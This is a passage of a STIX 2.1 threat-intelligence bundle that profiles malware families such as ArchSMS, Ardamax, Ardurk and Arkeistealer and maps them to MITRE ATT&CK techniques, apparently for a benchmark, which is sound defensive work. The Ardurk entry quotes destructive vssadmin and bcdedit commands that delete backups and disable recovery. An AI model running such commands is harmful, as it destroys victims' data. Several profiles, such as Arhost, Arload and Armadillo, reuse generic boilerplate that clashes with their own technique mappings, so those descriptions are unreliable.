      "description": "Arcdoor exhibits technique T1055 (Process Injection (Hiding in legitimate processes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--67ca7f7e-d954-57f2-9d6d-f9fdb9d420c2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--425241c7-580c-54c9-9df6-0aefee04c1e5",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Arcdoor exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5a430c41-92cd-5876-b6ca-1bb9a04317aa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Archsms",
      "description": "ArchSMS (cataloged across security vendors under designations including Hoax.Win32.ArchSMS, Trojan-Ransom.Win32.ArchSMS, and Trojan:Win32/Archsms) is an infamous financial fraud and extortion ransomware family active since 2010. Researched extensively by Kaspersky and ESET, ArchSMS functions as a 'fake archiver' scam. Cybercriminals package popular freeware, game modifications, media codecs, or pirated software inside a customized executable masquerading as a self-extracting RAR or ZIP archive. When victims launch the archive to extract their desired content, ArchSMS blocks access with an interactive extortion screen claiming the archive is locked for security verification. The application instructs victims to send one or more SMS text messages to designated premium-rate shortcodes to receive an unlock password. In reality, sending the SMS incurs exorbitant charges on the victim's mobile carrier account, while the archive either fails to extract or unpacks corrupted, freely available software. (Observed samples in benchmark: 127)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Hoax.Win32.ArchSMS",
        "Trojan-Ransom.Win32.ArchSMS",
        "Trojan:Win32/Archsms",
        "Ransom:Win32/ArchSMS",
        "Win32/ArchSMS"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Archsms",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/archsms"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d9ecb43c-8573-5bec-a438-ec5ccdd58c2b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a430c41-92cd-5876-b6ca-1bb9a04317aa",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Archsms exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2e3fccee-6786-5b4c-bbf2-69428bf3d45a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a430c41-92cd-5876-b6ca-1bb9a04317aa",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Archsms exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6c7f62fa-0d1d-5e3a-a6b6-847091a78d7b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a430c41-92cd-5876-b6ca-1bb9a04317aa",
      "target_ref": "attack-pattern--298d5d84-c03c-507d-b182-00cbc8d5fb24",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Archsms exhibits technique T1036.005 (Match Legitimate Name or Location)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--90f8492d-97d9-59f9-b18c-e9578ad652b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a430c41-92cd-5876-b6ca-1bb9a04317aa",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Archsms exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f8c4afb7-81bf-5fa2-8582-8ea0fa0016e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a430c41-92cd-5876-b6ca-1bb9a04317aa",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Archsms exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f6da2428-99eb-5892-8a40-e7a97b2282e7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ardamax",
      "description": "PWS:Win32/Ardamax (commercially branded as Ardamax Keylogger) is a surveillance tool originally created in 2004 as commercial employee and parental monitoring software that became overwhelmingly abused by cybercriminals as a covert corporate espionage and credential theft weapon. Operating in total stealth mode, Ardamax hooks the Windows keyboard message queue (via SetWindowsHookEx API) to log every keystroke, capture window titles, and intercept clipboard contents in real time. It periodically takes desktop screenshots, records microphone audio, and photographs users via connected webcams, packing the collected surveillance data into encrypted, password-protected archive files. Ardamax exfiltrates stolen logs automatically at scheduled intervals via hidden SMTP email messages, direct FTP server uploads, or network share delivery. Cybercriminals weaponize Ardamax by wrapping the installer inside custom crypters, distributing it via targeted spear-phishing emails containing spoofed business transaction inquiries to compromise corporate executive workstations and steal banking and email credentials. (Observed samples in benchmark: 114)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ardamax",
        "Ardamax Keylogger",
        "PWS:Win32/Ardamax",
        "Trojan.Ardamax",
        "Spyware.Ardamax"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ardamax",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ardamax"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7c535014-eb9e-5462-8896-040e53da79bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f6da2428-99eb-5892-8a40-e7a97b2282e7",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ardamax exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4df452fa-8040-525d-962d-d878760b6118",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f6da2428-99eb-5892-8a40-e7a97b2282e7",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ardamax exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fe21cdad-abcb-5490-80e2-0a45ae8cdeec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f6da2428-99eb-5892-8a40-e7a97b2282e7",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ardamax exhibits technique T1125 (Video Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c99cfda4-f066-5ecb-8df7-834948b389dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f6da2428-99eb-5892-8a40-e7a97b2282e7",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ardamax exhibits technique T1115 (Clipboard Data)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--5f1029ec-51c9-5060-9e14-dda97d706dfd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1071.003: Mail Protocols",
      "description": "MITRE ATT&CK Technique T1071.003 (Mail Protocols) under tactic command-and-control.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1071.003",
          "url": "https://attack.mitre.org/techniques/T1071/003/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e7150984-24fe-5e89-9d18-018689331abb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f6da2428-99eb-5892-8a40-e7a97b2282e7",
      "target_ref": "attack-pattern--5f1029ec-51c9-5060-9e14-dda97d706dfd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ardamax exhibits technique T1071.003 (Mail Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ffdce9b3-10e8-5311-829c-dee0b0fe9506",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f6da2428-99eb-5892-8a40-e7a97b2282e7",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ardamax exhibits technique T1059.003 (Windows Command Shell)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ff401940-1c68-578b-a33b-5405389fd535",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ardurk",
      "description": "Ardurk (tracked across threat intelligence repositories under signatures including Ransom:Win32/Ardurk, Trojan-Ransom.Win32.Ardurk, and Ransom.Ardurk) is a targeted Windows crypto-ransomware family designed for rapid local disk and network share encryption. Propagated through compromised Remote Desktop Protocol (RDP) sessions, weaponized email loaders, and corporate VPN credential stuffing attacks, Ardurk prioritizes rapid encryption of high-value business assets. Upon execution, Ardurk executes commands via cmd.exe to terminate database, hypervisor, and backup services (such as MSSQL, MySQL, Oracle, and Veeam services) to release file locks on critical business databases. It purges volume shadow copies and system state backups using 'vssadmin delete shadows /all /quiet' and disables Windows automatic boot recovery via 'bcdedit /set {default} bootstatuspolicy ignoreallfailures'. Ardurk then encrypts user documents, financial databases, virtual machine disks, and system archives using AES-256 in CBC mode, appending the '.ardurk' extension to encrypted files. It encrypts the AES session key using an embedded 2048-bit RSA master public key and creates ransom notes ('HOW_TO_RESTORE_ARDURK.txt') in all processed directories. (Observed samples in benchmark: 18)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Ardurk",
        "Trojan-Ransom.Win32.Ardurk",
        "Win32/Ardurk",
        "Ransom.Ardurk",
        "Ardurk Ransomware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ardurk",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ardurk"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--029a40c6-18dc-50db-8ef1-5a819ecac9db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Arhost",
      "description": "Arhost (classified in antivirus detection telemetry under designations including Ransom:Win32/Arhost, Ransom.Win32.Arhost, and Win32/Arhost) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Arhost executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Arhost",
        "Ransom.Win32.Arhost",
        "Win32/Arhost"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Arhost",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/arhost"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1df9dab9-affd-5624-8896-708058c6d9cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--029a40c6-18dc-50db-8ef1-5a819ecac9db",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Arhost exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--62390f9b-8ced-5b7d-9e61-6aa4f7b973d0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--029a40c6-18dc-50db-8ef1-5a819ecac9db",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Arhost exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d2e08ca6-a492-54e9-ac22-916717001b70",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--029a40c6-18dc-50db-8ef1-5a819ecac9db",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Arhost exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e61f5da8-04c1-5ca4-afe4-165e5ff22763",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--029a40c6-18dc-50db-8ef1-5a819ecac9db",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Arhost exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--65966fe7-6843-5839-9743-7602195d7cb1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--029a40c6-18dc-50db-8ef1-5a819ecac9db",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Arhost exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--07040d63-cec8-58fa-91db-414a2e3e1495",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Arkeistealer",
      "description": "Arkeistealer (classified in antivirus detection telemetry under designations including PWS:Win32/Arkeistealer, PWS.Win32.Arkeistealer, and Win32/Arkeistealer) is a dedicated information theft malware engineered to harvest stored credentials, browser session cookies, cryptocurrency wallets, and keystrokes. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Arkeistealer executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include credential database extraction, API hooking, system discovery, and encrypted C2 exfiltration. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PWS:Win32/Arkeistealer",
        "PWS.Win32.Arkeistealer",
        "Win32/Arkeistealer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Arkeistealer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/arkeistealer"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--be3c2ebf-802b-5550-add8-0d33497d4a55",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1552.001: Credentials In Files (Harvesting passwords and wallets from local storage)",
      "description": "MITRE ATT&CK Technique T1552.001 (Credentials In Files (Harvesting passwords and wallets from local storage)) under tactic Credential Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1552.001",
          "url": "https://attack.mitre.org/techniques/T1552/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--38b24dcb-abff-5360-8f8a-b98b1f4a054a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--07040d63-cec8-58fa-91db-414a2e3e1495",
      "target_ref": "attack-pattern--be3c2ebf-802b-5550-add8-0d33497d4a55",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Arkeistealer exhibits technique T1552.001 (Credentials In Files (Harvesting passwords and wallets from local storage))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d904f62e-7c7a-5be2-8c41-f0d34e5e1dc9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--07040d63-cec8-58fa-91db-414a2e3e1495",
      "target_ref": "attack-pattern--93d05424-5b4c-5400-a22c-cc8acb493a1e",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Arkeistealer exhibits technique T1539 (Steal Web Session Cookie (Extracting cookies to bypass MFA))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--2f0c4944-d5ef-5364-9177-53581d27fe40",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1070.004: Indicator Removal on Host: File Deletion (Deleting the dropped executable after exfiltration)",
      "description": "MITRE ATT&CK Technique T1070.004 (Indicator Removal on Host: File Deletion (Deleting the dropped executable after exfiltration)) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1070.004",
          "url": "https://attack.mitre.org/techniques/T1070/004/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--59b55140-6753-5bba-8ff9-b300999b4fec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--07040d63-cec8-58fa-91db-414a2e3e1495",
      "target_ref": "attack-pattern--2f0c4944-d5ef-5364-9177-53581d27fe40",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Arkeistealer exhibits technique T1070.004 (Indicator Removal on Host: File Deletion (Deleting the dropped executable after exfiltration))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--78147c76-b1ba-50a0-b1bc-0f8e53164f73",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--07040d63-cec8-58fa-91db-414a2e3e1495",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Arkeistealer exhibits technique T1041 (Exfiltration Over C2 Channel)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2865492b-dac2-5d46-8501-4f0a25541b59",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Arload",
      "description": "Arload (classified in antivirus detection telemetry under designations including Ransom:Win32/Arload, Ransom.Win32.Arload, and Win32/Arload) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Arload executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Arload",
        "Ransom.Win32.Arload",
        "Win32/Arload"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Arload",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/arload"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a6ebb161-907c-554d-86f3-f88d4a9f5cf4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2865492b-dac2-5d46-8501-4f0a25541b59",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Arload exhibits technique T1105 (Ingress Tool Transfer (The core function of fetching the secondary payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e3bb6132-b739-5251-8280-8c1458df4b3c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2865492b-dac2-5d46-8501-4f0a25541b59",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Arload exhibits technique T1566.001 (Phishing: Spearphishing Attachment (Primary distribution vector))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--717db0cf-ca8b-54fa-8dd0-ab80c29c8fe1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2865492b-dac2-5d46-8501-4f0a25541b59",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Arload exhibits technique T1204.002 (User Execution: Malicious File (Relying on the user to execute the small stager))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fb699a32-d834-518b-a352-d9b42f1a7d08",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Armadillo",
      "description": "Armadillo (classified in antivirus detection telemetry under designations including Ransom:Win32/Armadillo, Ransom.Win32.Armadillo, and Win32/Armadillo) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Armadillo executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Armadillo",
        "Ransom.Win32.Armadillo",
        "Win32/Armadillo"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Armadillo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/armadillo"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c7ab8fac-77d3-59a7-bc7d-cbbbea8b2edd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb699a32-d834-518b-a352-d9b42f1a7d08",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Armadillo exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing (Armadillo))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b09d608f-d846-540d-88f7-045019ff3772",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb699a32-d834-518b-a352-d9b42f1a7d08",
      "target_ref": "attack-pattern--c5d8d983-85d0-5f4a-a30a-171e3413444b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Armadillo exhibits technique T1622 (Debugger Evasion (Nanomites, Anti-dumping))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e114620-b21c-5dfd-a1b4-df15cb41acc1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb699a32-d834-518b-a352-d9b42f1a7d08",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Armadillo exhibits technique T1055 (Process Injection (Parent/Child debugging for execution))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0be8b34e-b91f-5940-abec-17fce32c5c66",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb699a32-d834-518b-a352-d9b42f1a7d08",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Armadillo exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f0d8fc3c-a3c6-56d2-a7da-462589013e2d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Artel",
